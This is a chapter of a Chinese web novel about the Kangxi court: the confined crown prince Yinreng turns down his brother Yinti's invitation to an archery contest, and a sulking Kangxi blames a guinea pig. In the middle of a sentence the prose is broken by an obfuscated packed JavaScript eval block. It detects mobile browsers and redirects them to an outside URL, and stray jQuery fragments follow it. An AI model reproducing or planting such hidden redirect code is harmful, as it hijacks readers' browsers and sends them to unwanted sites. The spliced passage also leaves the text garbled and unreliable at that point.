正学得兴起，窗外突然传来 “咚 ——” 的一声轻响。 胤礽皱了皱眉，眼都没从面板上挪开，只当是风吹的枯枝。 他手指继续往下划课程列表，想看看还有没有更有意思的短句。 可没等他点开下一页，又是“咚”一声。 听着比刚才清楚些。 胤礽这才撑着下巴抬起头，扬声喊：“高三变，去看看。” 高三变应了声，快步走到窗边，推开条缝往外瞧了一圈。 他关上窗走回来，“主子，外面什么都没有，许是雪块从树枝上掉下来了。” 胤礽点点头，重新把注意力转回面板。谁知—— “咚！” “咚！” “咚！” 接二连三的敲击声密集地响起来，明显是有人故意的，这下再也没法忽略了。 胤礽猛地站起身，大步走到窗边，“哗啦” 一声推开整扇窗户。 冷风裹着雪沫子瞬间窜进来，他鼻尖一凉，忍不住打了个喷嚏。 外面白茫茫的一片，都是积雪。 奇怪，那声音从哪儿来的？ 他正纳闷着，又是“咚” 的一声。 一颗圆润的小石子不偏不倚，正砸在窗沿上，弹跳一下滚落到雪地，留下个浅浅的凹痕。 他目光向下扫去，只见雪地上还散落着几颗相似的石子。 是有人用石子砸窗户？ “保成......保成......” 紧随其后的是一连串小声的呼唤，顺着风飘进他耳朵里。 胤礽心里一动，顺着声音望去，正好对上一双藏在树后的眼睛。 胤褆？ 胤褆半个身子躲在粗壮的树干后，只露出一点肩膀，见胤礽望过来，偷偷挥了挥手。 胤礽微微一怔，“哥哥？” 他怎么来了？这大冷天的，也不怕冻着。 胤褆见他注意到自己，松了口气，又赶紧把身子往树后缩了缩，只露个脑袋出来，手还抓着树干，生怕被人看见。 “你怎么在这儿？” “我趁看守的侍卫换班，偷偷溜过来的。” 他说着，从怀里摸出颗石子，朝胤礽晃了晃，“刚才敲窗户的是我，怕直接喊你引人注意。” 胤礽这才明白过来，“你书抄完了？” 之前他听高三变提起了，胤褆被罚了抄书。 他眼神往旁边的雪堆飘了飘，含糊道：“抄得差不多了，差不多了。” 胤礽挑眉，明显不信：“真的？” 他能抄这么快？ “真的，真的。” 胤褆苦了脸，“好保成，你别提这扫兴的事行不行？我好不容易溜出来一趟。” 看着他急得快跳脚的样子，胤礽忍不住勾了勾唇角，顺着他的意思转移话题。 “哥哥，你来找我是有什么事吗？” 提到这个，胤褆来了精神，声音都拔高了些，又赶紧压低， “这不是看你关禁闭，怕你无聊吗。布库房那边搞了个射箭比赛，好些人都带了新弓箭来。你要不要来看？” 射箭比赛啊......听着好像很有意思。 胤礽有些心动，刚想答应，又想起自己还在禁闭期。 康熙毫不留情打自己屁股的情景仿佛就在眼前，他还没胆子大到在老虎脸上拔胡须。 “算了，哥哥。我还在禁闭呢。”他拒绝了。 “没事，你从窗户翻出来，我在底下接着你。比赛很快的，半个时辰就结束，看完咱们再悄悄回来。” 胤褆提的不失为一个好主意。 可万一被逮到…… “你替我去吧，”胤礽深吸一口气，强迫自己移开目光，“我明天就解放了，不能功亏一篑。” 胤褆见他态度坚决，也不勉强，“行吧，那我去给你探探风。回头告诉你谁射得最好。” 他说着，又从怀里摸出个纸包，往窗台上扔过去。 “这个给你，我额娘做的糖糕，还热乎着。你在里面垫垫肚子。要是后悔了，就往窗外扔颗石子，我就在附近等着。” 油纸包落在窗台上，发出轻微的声响，热气透过纸层渗出来，带着甜丝丝的香气。 胤礽拿过来，指尖碰着温热的纸包，突然问：“明天那比赛还有吗？” “明天没了，要不是......” 胤褆话还没说完，突然眼神一凛，猛地往树后一缩，压低声音，“有人过来了！我先走了，回头给你报信！” 要不是什么？ 胤礽还想问，但胤褆已经猫着腰，沿着墙根快步溜走了。 他拆开油纸包，捏起一块糖糕塞进嘴里，甜糯的滋味在舌尖化开，心里的烦躁散了些。 算了，反正也不差这半天了。 看不到就看不到吧。 胤礽叹气，随即又拉开面板，决定学完这几句法语后，让小七给他找几个射箭的视频看。 人出不去，眼睛总得过过瘾吧。 ...... 布库房。 空地上，积雪早被宫人们仔细清扫干净，露出底下平整的黄土场地。 冬日稀薄的阳光照下来，并没增添多少暖意。 奉命前来的侍卫与宗室子弟们早已列队等候，一个个摩拳擦掌，只等圣驾亲临、一展身手。 康熙身上披着件厚实的玄色狐裘，背手站在廊下，目光状似随意得扫过众人，实则有些心不在焉。 他在这儿已经等了好一会儿了，该来的人都到齐了。可他心里头真正盼着的那个小身影，却迟迟没有出现。 说到底，他搞这么个射箭比赛，名头是考校子弟、激励武风，可私心里，未尝不是想寻个由头，看看那个被关了三天的小家伙会不会忍不住偷偷跑出来。 那孩子性子活泼好动，被拘了这些天，指不定怎么抓耳挠腮呢。 保清那个浑小子再在一旁撺掇几句…… 正思忖间，就见胤褆独自一人，脚步匆匆地快步走来。 康熙的目光几乎是立刻就越过他，向他身后望去。 空荡荡的，再没别人。 没看到真正想看到的人，一股难以言喻的失望顿时涌上康熙心头，连带着他的脸色也下意识地沉了下去。 待胤褆走到近前，利落地躬身行礼，额角还带着因快步行走而渗出的薄汗时，康熙便开口问道，声音听不出太多情绪。 “你弟弟呢？” 胤褆直起身，语气里带着点抱怨，如实回禀：“回皇阿玛，保成说他不来了。” 他顿了顿，声音低了些，“他说……怕您罚他。” 说完这句，他看着康熙没什么表情的脸，终究 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16687731|186846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是没忍住，又抬起头，眼神里带上几分恳求，替胤礽说起情来， “皇阿玛，其实保成也没犯多大错儿，您就别总关着他了。再这么关下去，他在宫里都快闷出病来了。” 这小子，倒会替他弟弟说话！ 康熙瞪了他一眼，心里那点没见到人的烦躁更盛了几分。 还不是因为这臭小子之前非要带着保成去爬那什么老梅树！ 害得他心急火燎，最后不得不揍了胤礽的小屁股以示惩戒。 结果倒好，胤礽跟他闹起脾气，见了他不是低头不说话，就是一副委屈巴巴的模样。 他这当阿玛的想搂过来好好哄哄都没机会。 可禁足令已下，君无戏言，他总不能自打嘴巴。 若能借这场合让小家伙偶然出现，他就可以顺势解围，既全了规矩，又能遂了心愿。 谁知人算不如天算，这人没来，费再多心思也没用。 不，不对。 保清固然有错，可若不是那只豚鼠到处乱窜，保成怎么会为了追它去爬树？ 不爬树，朕又何必罚他？ 归根结底，都是那只畜生的错！ 这么一想，康熙思路顿时清晰起来。 没错！ 一切的祸根，就是那只不知所谓的豚鼠！ 康熙的思绪猛地跳到了那只把宫里搅得一阵鸡飞狗跳的胖豚鼠身上，眉头瞬间皱得更紧了。 都是那胖东西惹是生非，带坏了朕的太子！ 必须得把它牢牢关起来，绝不能再让这几个小的跟它接触，免得又生出什么事端。 康熙越想越觉得有道理，仿佛找到了问题的根源。 他突然扬声宣布：“你们往后，不许再养那只豚鼠了，朕会把它交给荣嫔看管。” “啊？” 这话题转得太过突兀，胤褆直接愣了一下，脸上写满了茫然，“皇阿玛，咱刚才……不还在说保成的事儿吗？怎么突然就扯到豚鼠身上了？” 那只除了吃就是睡、还特别黏人的胖球儿，他本来也没多大兴趣，养不养都无所谓。 只是皇阿玛这心思变得也太快了些，简直让人摸不着头脑。 “你懂什么？”康熙没好气地哼了一声。 难道要他说，就是因为那畜生，他才见不着胤礽？ 他的目光再次扫过空地上那些因为皇帝在场而格外卖力、跃跃欲试的众人，心里头那点原本就不多的兴致，此刻早已消散得一干二净。 他意兴阑珊地摆了摆手：“算了，你自己在这儿玩吧，朕回去了。” 说完，不等众人反应，转身就大步流星地往回走。玄色狐裘的下摆扫过积雪，留下一串深深的脚印。 胤褆站在原地，看着康熙那明显带着点负气意味的背影，嘴角控制不住地抽搐了一下。 得，皇阿玛这分明就是没见到想见的人，心里不痛快，找个借口发脾气走人了。 还特意搞出个射箭比赛当由头，真是……别扭得很。 胤褆在心里无奈地摇了摇头。 算了算了，这两个人一个比一个别扭，这浑水他可不想蹚。 胤褆转过身，不再多想，快步走进了喧闹起来的侍卫堆里，将注意力投向了即将开始的比赛。 ...... 康熙带着一身寒气从外面回来，刚踏进南书房，就看见纳兰容若垂首静立在廊下。 年轻人身形清瘦，手里捏着个眼熟的荷包。 正是胤礽一直拿来装金瓜子的团龙纹荷包。 “臣纳兰容若，参见皇上。” “起来吧。” 康熙压下心头的烦躁，在椅上坐下，指了指旁边的位置，“坐。你身子刚好，不用这么多礼。” 纳兰容若的气色确实比前些日子好了些，只是眉宇间那抹清郁之气仍未散尽。 康熙看着他规规矩矩地谢恩落座，忽然想起明珠在朝堂上那副精于算计的模样，不由暗叹：这老狐狸步步为营，倒生出个光风霁月的儿子。 “谢皇上关心，已经大好了。” “你福晋是个好的，可惜了。”康熙端起茶盏，“你往后，也该多为自己打算打算。” 这话说得体贴，可纳兰容若应答时那一闪而过的迟疑，到底没逃过天子的眼睛。 康熙心下莞尔，容若这人什么都好，就是心思太透亮，藏不住事。 想必是出门前听了明珠什么叮嘱，此刻见自己神色如常，反倒困惑了。 “怎么？有话想跟朕说？” 纳兰容若神色一凛，斟酌了一下，竟带着几分坦诚的无奈回道：“回皇上，臣出门前，家父确实叮嘱过，说皇上近日心情不佳，让臣说话谨慎些。 可臣……臣瞧着皇上圣容如常，故而有些不解。” 这番话说得实在，甚至有点傻气，反倒取悦了康熙。 他哼笑一声：“明珠这个老狐狸，就会危言耸听。” 满朝文武都在揣测圣意，战战兢兢，也只有容若这般不站队、不营营汲汲的性子，才会把明珠的私下叮嘱就这么直白地讲出来。 皇帝淡淡道：“朕烦心的事情，你也不懂。” 纳兰容若见他视线落在自己手上，赶紧取出荷包呈上。 “皇上，方才臣在乾清宫换班，侍卫拾得此物，说是太子爷处遗落的御赐之物，臣不敢擅自处置。” 康熙接过荷包，指尖摩挲着上面的团龙纹，只觉心头郁结。 他长长叹了口气，帝王家的烦恼，终究不足为外人道。 看着眼前恭敬侍立的纳兰容若，康熙忽然有了主意。 “容若啊，”他抬起眼，目光沉静，“帮朕一个忙。”